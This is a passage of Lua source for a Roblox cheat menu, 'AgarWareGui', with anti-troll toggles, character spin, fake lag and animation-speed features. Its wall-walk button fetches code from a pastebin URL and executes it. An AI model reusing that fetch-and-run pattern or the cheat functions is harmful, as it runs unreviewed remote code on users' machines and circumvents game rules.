	-- Anti Teleport (Anti Glitch/Fling)
	local lastPosition = nil
	setupAnti({
		row = "AntiTeleportRow",
		tickBox = "AntiTeleportTickBox",
		tooltip = "Prevents you from being teleported. Using TP scripts or commands won't work if anti teleport is enabled.",
		onEnable = function()
			lastPosition = nil
		end,
		onDisable = function()
			lastPosition = nil
		end,
		loop = function()
			local character = LocalPlayer.Character
			if not character then return end
			local root = character:FindFirstChild("HumanoidRootPart")
			if not root then return end
			if lastPosition then
				local distance = (root.Position - lastPosition).Magnitude
				if distance > 15 then
					root.CFrame = CFrame.new(lastPosition)
				end
			end
			lastPosition = root.Position
		end
	})
	
	-- Anti Vamp
	setupAnti({
		row = "AntiVampRow",
		tickBox = "AntiVampTickBox",
		tooltip = "Prevents Vampire Vanquisher gear from locking your camera and inventory.",
		loop = function()
			if LocalPlayer.Character then
				local humanoid = LocalPlayer.Character:FindFirstChild("Humanoid")
				if humanoid and humanoid.Health > 0 then
					pcall(function()
						StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
					end)
					workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
					workspace.CurrentCamera.CameraSubject = humanoid
				end
			end
		end
	})
	
	-- Anti Freeze
	local isResetting = false
	setupAnti({
		row = "AntiFreezeRow",
		tickBox = "AntiFreezeTickBox",
		tooltip = "Automatically resets your character when you get frozen.",
		onDisable = function()
			isResetting = false
		end,
		loop = function()
			local char = workspace:FindFirstChild(LocalPlayer.Name)
			if not char then return end
	
			if char:FindFirstChild("Hielo") and not isResetting then
				isResetting = true
				if shared.ResetCharacter then
					shared.ResetCharacter()
				end
				LocalPlayer.CharacterAdded:Wait()
				task.wait(0.2)
				isResetting = false
			end
		end
	})
	
	-- Anti Visual
	setupAnti({
		row = "AntiVisualRow",
		tickBox = "AntiVisualTickBox",
		tooltip = "Prevents visual commands from affecting your screen. Blocks out myopic, blind, fog and colorless",
		loop = function()
			-- Anti Myopic
			local blur = Lighting:FindFirstChild("Blur")
			if blur then blur.Enabled = false end
	
			-- Anti Blind
			local playerGui = LocalPlayer:FindFirstChild("PlayerGui")
			if playerGui then
				local blind = playerGui:FindFirstChild("Blind")
				if blind then
					local frame = blind:FindFirstChildOfClass("Frame")
					if frame then
						frame.BackgroundTransparency = 1
					end
				end
			end
	
			-- Anti Fog
			local fog = Lighting:FindFirstChild("Fog")
			if fog then fog.Density = 0 end
	
			-- Anti Colorless
			local rgb = Lighting:FindFirstChild("RGB")
			if rgb then rgb.Enabled = false end
		end
	})
	
	-- Anti Jail
	setupAnti({
		row = "AntiJailRow",
		tickBox = "AntiJailTickBox",
		tooltip = "Prevents the jail command from trapping you. Other players can see your jail cell on their screens",
		loop = function()
			local char = workspace:FindFirstChild(LocalPlayer.Name)
			if not char then return end
	
			local jail = char:FindFirstChild("Jail")
			if not jail then return end
	
			for _, part in pairs(jail:GetChildren()) do
				if part:IsA("BasePart") and part.Name == "Part" then
					part.CanCollide = false
					part.Transparency = 1
				end
			end
		end
	})
	
	-- Anti Nan
	local nanConnection = nil
	local function isNaN(n) return n ~= n end
	local function isSafe(cf)
		local p = cf.Position
		return not (isNaN(p.X) or isNaN(p.Y) or isNaN(p.Z) or
			math.abs(p.X) == math.huge or
			math.abs(p.Y) == math.huge or
			math.abs(p.Z) == math.huge or
			math.abs(p.Y) > 500000)
	end
	local function isVoided()
		local spawn = workspace:FindFirstChild("Spawn")
		if not spawn then return false end
		local acm = spawn.AssemblyCenterOfMass
		return acm.X == 0 and acm.Y == -1000000 and acm.Z == 0
	end
	local function onCharacterAdded(character)
		local hrp = character:WaitForChild("HumanoidRootPart")
		if not isVoided() then return end
		hrp.Anchored = true
		task.wait(0.1)
		hrp.CFrame = CFrame.new(0, 3, 0)
		hrp.Anchored = false
	end
	setupAnti({
		row = "AntiNanRow",
		tickBox = "AntiNanTickBox",
		tooltip = "Prevents respawning in the void when Spawn is in the void, maptide NaN.",
		onEnable = function()
			nanConnection = LocalPlayer.CharacterAdded:Connect(onCharacterAdded)
			if LocalPlayer.Character then
				onCharacterAdded(LocalPlayer.Character)
			end
		end,
		onDisable = function()
			if nanConnection then
				nanConnection:Disconnect()
				nanConnection = nil
			end
		end
	})
	
	-- ============================================================
	-- ADD NEW ANTI FEATURES HERE - COPY THIS TEMPLATE:
	-- ============================================================
	
	-- Anti Glitch variables
	local lastPosition = nil
	local hasTeleportedBack = false
	
	-- Anti Glitch
	setupAnti({
		row = "AntiGlitchRow",
		tickBox = "AntiGlitchTickBox",
		tooltip = "Prevents being glitched.",
		onEnable = function()
			lastPosition = nil
			hasTeleportedBack = false
		end,
		onDisable = function()
			lastPosition = nil
			hasTeleportedBack = false
		end,
		loop = function()
			local character = LocalPlayer.Character
			if not character then return end
			local root = character:FindFirstChild("HumanoidRootPart")
			if not root then return end
	
			if not lastPosition then
				lastPosition = root.Position
				hasTeleportedBack = false
				return
			end
	
			local currentPos = root.Position
	
			-- Check if X coordinate is 1234567 (or very close to it)
			if math.abs(currentPos.X - 1234567) < 5 and not hasTeleportedBack then
				-- Teleported to the bad zone, send back
				root.CFrame = CFrame.new(lastPosition)
				hasTeleportedBack = true
				print("[Anti Glitch] Blocked teleport to 1234567 zone")
			elseif math.abs(currentPos.X - 1234567) >= 5 then
				-- Not in the bad zone anymore, reset flag and update position
				hasTeleportedBack = false
				lastPosition = currentPos
			end
		end
	})
	
	--[[
	TEMPLATE FOR NEW FEATURES:
	setupAnti({
		row = "AntiTestRow",
		tickBox = "AntiTestTickBox",
		tooltip = "This is what the tooltip says",
		onEnable = function()
			-- Code to run when enabled (optional)
		end,
		onDisable = function()
			-- Code to run when disabled (optional)
		end,
		loop = function()
			-- Code that runs continuously while enabled (optional)
			-- This runs every frame (Heartbeat)
		end
	})
	]]--
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			for _, feature in pairs(activeFeatures) do
				if feature.tooltip then
					feature.tooltip:Destroy()
				end
				if feature.disable then
					feature.disable()
				end
			end
		end
	end)
end;
task.spawn(C_ee);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.Misc1Script
local function C_10e()
local script = G2L["10e"];
	local Misc1Group = script.Parent
	local Misc1Minimize = Misc1Group.Misc1Title.Misc1Minimize
	local function getRows()
		local rows = {}
		for _, child in ipairs(Misc1Group:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	local isMinimized = false
	local originalSize = Misc1Group.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	Misc1Minimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
		if isMinimized then
			Misc1Group.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			Misc1Minimize.Text = "+"
		else
			Misc1Group.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			Misc1Minimize.Text = "-"
		end
	end)
end;
task.spawn(C_10e);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.WWalkRow.WWalkScript
local function C_114()
local script = G2L["114"];
	-- ============================================================
	-- SCRIPT START
	-- ============================================================
	
	local WWalkRow = script.Parent
	local WWalkButton = WWalkRow.WWalkButton
	local MiscGroup = WWalkRow.Parent
	local MiscAccentColor = MiscGroup.MiscAccentColor
	
	local player = game.Players.LocalPlayer
	local RunService = game:GetService("RunService")
	local UserGameSettings = UserSettings():GetService("UserGameSettings")
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	-- ============================================================
	-- TOOLTIP SETUP
	-- ============================================================
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local tooltipStroke = Instance.new("UIStroke", tooltipFrame)
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	
	local tooltipPadding = Instance.new("UIPadding", tooltipFrame)
	tooltipPadding.PaddingTop = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft = UDim.new(0, 6)
	tooltipPadding.PaddingRight = UDim.new(0, 6)
	
	local tooltipLabel = Instance.new("TextLabel", tooltipFrame)
	tooltipLabel.BackgroundTransparency = 1
	tooltipLabel.Text = "Allows you to walk on walls and ceilings. THIS IS UNDO-ABLE, REJOINING WILL FIX IT"
	tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
	tooltipLabel.TextSize = 14
	tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
	tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
	tooltipLabel.Font = Enum.Font.GothamSemibold
	tooltipLabel.TextWrapped = true
	tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
	tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
	tooltipLabel.ZIndex = 101
	
	local WWalkHelp = WWalkRow.WWalkHelp
	
	WWalkHelp.MouseEnter:Connect(function()
		local abs = WWalkHelp.AbsolutePosition
		local size = WWalkHelp.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	
	WWalkHelp.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	-- ============================================================
	-- BUTTON TEXT HELPERS
	-- ============================================================
	local originalText = WWalkButton.Text
	
	local function setButtonText(text, useTextScaled)
		WWalkButton.Text = text
		WWalkButton.Font = Enum.Font.Inconsolata
		WWalkButton.TextScaled = useTextScaled or false
	end
	
	local function resetButtonText()
		WWalkButton.Text = originalText
		WWalkButton.Font = Enum.Font.Inconsolata
		WWalkButton.TextScaled = false
	end
	
	-- ============================================================
	-- CAMERA SETTINGS
	-- ============================================================
	-- Saved BEFORE executing so we can restore them after reset
	local savedMinZoom     = player.CameraMinZoomDistance
	local savedMaxZoom     = player.CameraMaxZoomDistance
	local savedSensitivity = UserGameSettings.GamepadCameraSensitivity
	
	-- ── ZOOM LIMITS ──────────────────────────────────────────────
	-- How close/far the camera can be while wall walk is active.
	-- ZOOM_MIN must stay >= 0.5. The transparency fade kicks in under
	-- 2 studs — the loop below overrides that so you stay visible.
	local ZOOM_MIN = 0.5   -- << change this to adjust how close you can zoom
	local ZOOM_MAX = 128   -- << change this to adjust how far you can zoom out
	
	-- ── SENSITIVITY ──────────────────────────────────────────────
	-- The wall walk script can mess up your camera sensitivity after reset.
	-- Set USE_MANUAL_SENSITIVITY = true and set MANUAL_SENSITIVITY to your
	-- preferred value to force it back on reset.
	-- Default Roblox mobile sensitivity is around 2. Range: 0.1 to 10.
	local USE_MANUAL_SENSITIVITY = false  -- << set true to force a fixed value
	local MANUAL_SENSITIVITY     = 2      -- << your preferred sensitivity (0.1–10)
	
	-- ============================================================
	-- STATE
	-- ============================================================
	local isExecuted   = false
	local debounce     = false
	local zoomLoopConn = nil
	
	-- ============================================================
	-- PER-FRAME LOOP
	-- Runs every frame while wall walk is active:
	--   1. Keeps zoom min/max unlocked so you can zoom in and out freely
	--   2. Resets LocalTransparencyModifier on all character parts every
	--      frame so the wall walk camera can never make you invisible
	-- ============================================================
	local function startLoop()
		if zoomLoopConn then return end
	
		zoomLoopConn = RunService.RenderStepped:Connect(function()
			-- Keep zoom range free
			if player.CameraMinZoomDistance ~= ZOOM_MIN then
				player.CameraMinZoomDistance = ZOOM_MIN
			end
			if player.CameraMaxZoomDistance ~= ZOOM_MAX then
				player.CameraMaxZoomDistance = ZOOM_MAX
			end
	
			-- Prevent character from going invisible on your screen.
			-- The wall walk camera sets LocalTransparencyModifier > 0 when
			-- you zoom in. We reset it to 0 every frame to undo that.
			local char = player.Character
			if char then
				for _, part in ipairs(char:GetDescendants()) do
					if part:IsA("BasePart") and part.LocalTransparencyModifier ~= 0 then
						part.LocalTransparencyModifier = 0
					end
				end
			end
		end)
	end
	
	local function stopLoop()
		if zoomLoopConn then
			zoomLoopConn:Disconnect()
			zoomLoopConn = nil
		end
	end
	
	-- ============================================================
	-- RESTORE CAMERA (called on reset/death/script remove)
	-- ============================================================
	local function restoreCamera()
		stopLoop()
		player.CameraMinZoomDistance = savedMinZoom
		player.CameraMaxZoomDistance = savedMaxZoom
		if USE_MANUAL_SENSITIVITY then
			UserGameSettings.GamepadCameraSensitivity = MANUAL_SENSITIVITY
		else
			UserGameSettings.GamepadCameraSensitivity = savedSensitivity
		end
	end
	
	-- On character reset or death, restore camera and reset button
	player.CharacterAdded:Connect(function()
		restoreCamera()
		isExecuted = false
		debounce   = false
		resetButtonText()
	end)
	
	-- ============================================================
	-- BUTTON CLICK
	-- ============================================================
	WWalkButton.MouseButton1Click:Connect(function()
	
		-- While showing "Executed!" text: clicking just resets text, no re-run
		if isExecuted then
			isExecuted = false
			debounce   = false
			resetButtonText()
			return
		end
	
		if debounce then return end
		debounce = true
	
		-- Snapshot camera settings right before executing
		savedMinZoom     = player.CameraMinZoomDistance
		savedMaxZoom     = player.CameraMaxZoomDistance
		savedSensitivity = UserGameSettings.GamepadCameraSensitivity
	
		local ok, err = pcall(function()
			loadstring(game:HttpGet("https://pastebin.com/raw/zXk4Rq2r"))()
		end)
	
		if ok then
			isExecuted = true
			setButtonText("Executed! Please reset to turn it off", true)
			-- Start the frame loop to keep zoom working and char visible
			startLoop()
	
		else
			-- Failed: show message 3 seconds then auto-reset
			setButtonText("Failed to Execute", false)
			task.wait(3)
			if not isExecuted then
				resetButtonText()
				debounce = false
			end
		end
	end)
	
	-- ============================================================
	-- CLEANUP ON SCRIPT REMOVE
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			restoreCamera()
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_114);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow.SpinScript
local function C_118()
local script = G2L["118"];
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	
	local LocalPlayer = Players.LocalPlayer
	
	local SpinRow = script.Parent
	local SpinTickBox = SpinRow.SpinTickBox
	local SpinChanger = SpinRow.SpinChanger
	local MiscGroup = SpinRow.Parent
	local MiscAccentColor = MiscGroup.MiscAccentColor
	
	local isEnabled = false
	local spinConnection = nil
	local spinSpeed = 1
	
	local function getAccent()
		return MiscAccentColor.BackgroundColor3
	end
	
	local function getScreenGui()
		local parent = SpinRow
		while parent do
			if parent:IsA("ScreenGui") then return parent end
			parent = parent.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.Name = "SpinTooltip"
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.XY
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local tooltipStroke = Instance.new("UIStroke")
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	tooltipStroke.Thickness = 1
	tooltipStroke.Parent = tooltipFrame
	
	local tooltipPadding = Instance.new("UIPadding")
	tooltipPadding.PaddingTop = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft = UDim.new(0, 6)
	tooltipPadding.PaddingRight = UDim.new(0, 6)
	tooltipPadding.Parent = tooltipFrame
	
	local tooltipText = Instance.new("TextLabel")
	tooltipText.BackgroundTransparency = 1
	tooltipText.Text = "Spins your character"
	tooltipText.TextColor3 = Color3.new(1, 1, 1)
	tooltipText.TextSize = 14
	tooltipText.TextXAlignment = Enum.TextXAlignment.Left
	tooltipText.TextYAlignment = Enum.TextYAlignment.Top
	tooltipText.Font = Enum.Font.GothamSemibold
	tooltipText.TextWrapped = true
	tooltipText.AutomaticSize = Enum.AutomaticSize.XY
	tooltipText.Size = UDim2.new(0, 200, 0, 0)
	tooltipText.ZIndex = 101
	tooltipText.Parent = tooltipFrame
	
	SpinTickBox.MouseEnter:Connect(function()
		local abs = SpinTickBox.AbsolutePosition
		local size = SpinTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	SpinTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	SpinChanger.FocusLost:Connect(function()
		local num = tonumber(SpinChanger.Text)
		if num and num > 0 then
			spinSpeed = num
		else
			SpinChanger.Text = tostring(spinSpeed)
		end
	end)
	
	local function enableSpin()
		isEnabled = true
		SpinTickBox.BackgroundColor3 = getAccent()
		local angle = 0
		spinConnection = RunService.RenderStepped:Connect(function(dt)
			local char = LocalPlayer.Character
			if not char then return end
			local hrp = char:FindFirstChild("HumanoidRootPart")
			if not hrp then return end
			angle = angle + (-spinSpeed * 3 * dt * 60)
			hrp.CFrame = CFrame.new(hrp.Position) * CFrame.Angles(0, math.rad(angle), 0)
		end)
	end
	
	local function disableSpin()
		isEnabled = false
		SpinTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		if spinConnection then
			spinConnection:Disconnect()
			spinConnection = nil
		end
	end
	
	SpinTickBox.MouseButton1Click:Connect(function()
		if isEnabled then
			disableSpin()
		else
			enableSpin()
		end
	end)
	
	LocalPlayer.CharacterAdded:Connect(function()
		if isEnabled then
			if spinConnection then
				spinConnection:Disconnect()
				spinConnection = nil
			end
			task.wait(0.5)
			enableSpin()
		end
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			disableSpin()
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_118);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow.FakeLagScript
local function C_11d()
local script = G2L["11d"];
	local Players = game:GetService("Players")
	
	local LocalPlayer = Players.LocalPlayer
	
	local FakeLagRow = script.Parent
	local FakeLagTickBox = FakeLagRow.FakeLagTickBox
	local FakeLagChanger = FakeLagRow.FakeLagChanger
	local MiscGroup = FakeLagRow.Parent
	local MiscAccentColor = MiscGroup.MiscAccentColor
	
	local isEnabled = false
	local lagLoop = nil
	local lagSpeed = 1
	
	local function getAccent()
		return MiscAccentColor.BackgroundColor3
	end
	
	local function getScreenGui()
		local parent = FakeLagRow
		while parent do
			if parent:IsA("ScreenGui") then return parent end
			parent = parent.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.Name = "FakeLagTooltip"
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.XY
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local tooltipStroke = Instance.new("UIStroke")
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	tooltipStroke.Thickness = 1
	tooltipStroke.Parent = tooltipFrame
	
	local tooltipPadding = Instance.new("UIPadding")
	tooltipPadding.PaddingTop = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft = UDim.new(0, 6)
	tooltipPadding.PaddingRight = UDim.new(0, 6)
	tooltipPadding.Parent = tooltipFrame
	
	local tooltipText = Instance.new("TextLabel")
	tooltipText.BackgroundTransparency = 1
	tooltipText.Text = "Simulates lag by freezing your character. Lower speed = more lag."
	tooltipText.TextColor3 = Color3.new(1, 1, 1)
	tooltipText.TextSize = 14
	tooltipText.TextXAlignment = Enum.TextXAlignment.Left
	tooltipText.TextYAlignment = Enum.TextYAlignment.Top
	tooltipText.Font = Enum.Font.GothamSemibold
	tooltipText.TextWrapped = true
	tooltipText.AutomaticSize = Enum.AutomaticSize.XY
	tooltipText.Size = UDim2.new(0, 200, 0, 0)
	tooltipText.ZIndex = 101
	tooltipText.Parent = tooltipFrame
	
	FakeLagTickBox.MouseEnter:Connect(function()
		local abs = FakeLagTickBox.AbsolutePosition
		local size = FakeLagTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	FakeLagTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	FakeLagChanger.FocusLost:Connect(function()
		local num = tonumber(FakeLagChanger.Text)
		if num and num > 0 then
			lagSpeed = num
		else
			FakeLagChanger.Text = tostring(lagSpeed)
		end
	end)
	
	local function fakeLagLoop()
		while isEnabled do
			local char = LocalPlayer.Character
			if char and char:FindFirstChild("HumanoidRootPart") then
				local root = char.HumanoidRootPart
				local freezeTime = math.clamp(0.8 / (lagSpeed * 3), 0.05, 0.8)
				local unfreezeTime = math.clamp(0.2 / (lagSpeed * 3), 0.05, 0.5)
				root.Anchored = true
				task.wait(freezeTime)
				root.Anchored = false
				task.wait(unfreezeTime)
			else
				task.wait(0.2)
			end
		end
	end
	
	local function enableFakeLag()
		isEnabled = true
		FakeLagTickBox.BackgroundColor3 = getAccent()
		lagLoop = task.spawn(fakeLagLoop)
	end
	
	local function disableFakeLag()
		isEnabled = false
		FakeLagTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		local char = LocalPlayer.Character
		if char and char:FindFirstChild("HumanoidRootPart") then
			char.HumanoidRootPart.Anchored = false
		end
	end
	
	FakeLagTickBox.MouseButton1Click:Connect(function()
		if isEnabled then
			disableFakeLag()
		else
			enableFakeLag()
		end
	end)
	
	LocalPlayer.CharacterAdded:Connect(function()
		if isEnabled then
			task.wait(0.5)
			lagLoop = task.spawn(fakeLagLoop)
		end
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			disableFakeLag()
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_11d);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow.AnimSpeedScript
local function C_122()
local script = G2L["122"];
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	
	local LocalPlayer = Players.LocalPlayer
	
	local AnimSpeedRow = script.Parent
	local AnimSpeedTickBox = AnimSpeedRow.AnimSpeedTickBox
	local AnimSpeedChanger = AnimSpeedRow.AnimSpeedChanger
	local MiscGroup = AnimSpeedRow.Parent
	local MiscAccentColor = MiscGroup.MiscAccentColor
	
	local isEnabled = false
	local speedConnection = nil
	local animSpeed = 1
	local DEFAULT_SPEED = 1
	
	local function getAccent()
		return MiscAccentColor.BackgroundColor3
	end
	
	local function getScreenGui()
		local parent = AnimSpeedRow
		while parent do
			if parent:IsA("ScreenGui") then return parent end
			parent = parent.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.Name = "AnimSpeedTooltip"
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.XY
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local tooltipStroke = Instance.new("UIStroke")
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	tooltipStroke.Thickness = 1
	tooltipStroke.Parent = tooltipFrame
	
	local tooltipPadding = Instance.new("UIPadding")
	tooltipPadding.PaddingTop = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft = UDim.new(0, 6)
	tooltipPadding.PaddingRight = UDim.new(0, 6)
	tooltipPadding.Parent = tooltipFrame
	
	local tooltipText = Instance.new("TextLabel")
	tooltipText.BackgroundTransparency = 1
	tooltipText.Text = "Changes your animation speed. Set to 0 to freeze animations, higher = faster."
	tooltipText.TextColor3 = Color3.new(1, 1, 1)
	tooltipText.TextSize = 14
	tooltipText.TextXAlignment = Enum.TextXAlignment.Left
	tooltipText.TextYAlignment = Enum.TextYAlignment.Top
	tooltipText.Font = Enum.Font.GothamSemibold
	tooltipText.TextWrapped = true
	tooltipText.AutomaticSize = Enum.AutomaticSize.XY
	tooltipText.Size = UDim2.new(0, 200, 0, 0)
	tooltipText.ZIndex = 101
	tooltipText.Parent = tooltipFrame
	
	AnimSpeedTickBox.MouseEnter:Connect(function()
		local abs = AnimSpeedTickBox.AbsolutePosition
		local size = AnimSpeedTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	AnimSpeedTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	local function getSpeed()
		local num = tonumber(AnimSpeedChanger.Text)
		if num == nil then return animSpeed end
		if num < 0 then return animSpeed end
		return num
	end
	
	local function applyAnimSpeed(speed)
		local character = LocalPlayer.Character
		if not character then return end
		local humanoid = character:FindFirstChildOfClass("Humanoid")
		if not humanoid then return end
		for _, track in pairs(humanoid:GetPlayingAnimationTracks()) do
			track:AdjustSpeed(speed)
		end
	end
	
	local function enableAnimSpeed()
		isEnabled = true
		AnimSpeedTickBox.BackgroundColor3 = getAccent()
		speedConnection = RunService.Heartbeat:Connect(function()
			applyAnimSpeed(getSpeed())
		end)
	end
	
	local function disableAnimSpeed()
		isEnabled = false
		AnimSpeedTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		if speedConnection then
			speedConnection:Disconnect()
			speedConnection = nil
		end
		applyAnimSpeed(DEFAULT_SPEED)
	end
	
	AnimSpeedTickBox.MouseButton1Click:Connect(function()
		if isEnabled then
			disableAnimSpeed()
		else
			enableAnimSpeed()
		end
	end)
	
	AnimSpeedChanger.FocusLost:Connect(function()
		if AnimSpeedChanger.Text == "" then return end
		local num = tonumber(AnimSpeedChanger.Text)
		if num == nil or num < 0 then
			AnimSpeedChanger.Text = tostring(animSpeed)
		else
			animSpeed = num
		end
	end)
	
	LocalPlayer.CharacterAdded:Connect(function()
		if isEnabled then
			task.wait(0.5)
			enableAnimSpeed()
		end
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			disableAnimSpeed()
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_122);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepScript
local function C_132()
local script = G2L["132"];
	local RepGroup = script.Parent
	local RepMinimize = RepGroup.RepTitle.RepMinimize
	local RepRepRow = RepGroup:FindFirstChild("RepRepRow")
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(RepGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = RepGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	RepMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
	
		if isMinimized then
			RepGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			-- Hide RepRepRow itself
			if RepRepRow then
				RepRepRow.Visible = false
			end
			RepMinimize.Text = "+"
		else
			RepGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			-- Show RepRepRow
			if RepRepRow then
				RepRepRow.Visible = true
			end
			RepMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_132);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepTooltip
local function C_133()
local script = G2L["133"];
	-- ============================================================
	-- REP BRICK TOOLTIP SCRIPT
	-- ============================================================
	
	local RepGroup = script.Parent
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then
				return p
			end
			p = p.Parent
		end
	end
	
	local ScreenGui = getScreenGui()
	if not ScreenGui then return end
	
	-- ============================================================
	-- FIND UI REFERENCES
	-- ============================================================
	
	local function findDescendant(name)
		for _, v in pairs(ScreenGui:GetDescendants()) do
			if v.Name == name then
				return v
			end
		end
	end
	
	local UnanchorRepTickBox = findDescendant("UnanchorRepTickBox")
	local RichTextRepTickBox = findDescendant("RichTextRepTickBox")
	
	-- ============================================================
	-- TOOLTIP BUILDER
	-- ============================================================
	
	local function makeTooltip(text)
		local frame = Instance.new("Frame")
		frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = ScreenGui
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57,57,57)
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0,6)
		padding.PaddingBottom = UDim.new(0,6)
		padding.PaddingLeft = UDim.new(0,6)
		padding.PaddingRight = UDim.new(0,6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1,1,1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0,200,0,0)
